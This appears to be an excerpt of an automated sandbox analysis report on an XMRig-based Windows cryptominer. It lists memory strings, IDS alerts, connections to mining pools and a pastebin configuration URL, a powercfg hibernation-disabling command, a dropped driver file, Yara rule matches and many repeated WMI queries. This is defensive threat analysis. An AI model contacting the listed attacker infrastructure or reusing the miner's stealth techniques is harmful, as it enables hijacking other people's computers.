Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: nlGOh9K5X5.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2054247 - Severity 1 - ET MALWARE SilentCryptoMiner Agent Config Inbound : 172.67.19.24:443 -> 192.168.2.4:49731

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 51.15.193.130 10343	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.19.24 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.89.23.91 10343	Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 51.89.23.91:10343
Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 51.15.193.130:10343

Source: Joe Sandbox View	IP Address: 51.15.193.130 51.15.193.130
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 51.89.23.91 51.89.23.91

Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /raw/Cs3YCuXT HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: xmr-eu1.nanopool.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: mfpmikspvfzi.exe, 00000021.00000003.1782446141.0000024320770000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: explorer.exe, 0000003A.00000003.1824324601.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Cs3YCuXT
Source: explorer.exe, 0000003A.00000002.4158665690.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Cs3YCuXTF
Source: mfpmikspvfzi.exe, 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: Process Memory Space: mfpmikspvfzi.exe PID: 7108, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\nlGOh9K5X5.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\conhost.exe

Code function: 56_2_0000000140001394 NtQueryAttributesFile,

56_2_0000000140001394

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe

File created: C:\Windows\TEMP\amhsyemgqpki.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_mbxbqitq.scx.ps1

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Code function: 56_2_0000000140003150		56_2_0000000140003150
Source: C:\Windows\System32\conhost.exe	Code function: 56_2_00000001400026E0		56_2_00000001400026E0

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\amhsyemgqpki.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 33.3.mfpmikspvfzi.exe.243209b0000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000021.00000003.1785206642.00000243209B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: Process Memory Space: mfpmikspvfzi.exe PID: 7108, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@81/12@2/3

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6612:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6612:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eiu0pqbk.vqi.ps1

Jump to behavior

Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\explorer.exe
Source: C:\ProgramData\cjogqihmrmek\mfpmikspvfzi.exe	Process created: C:\Windows\explorer.exe			Jump to behavior

Source: nlGOh9K5X5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
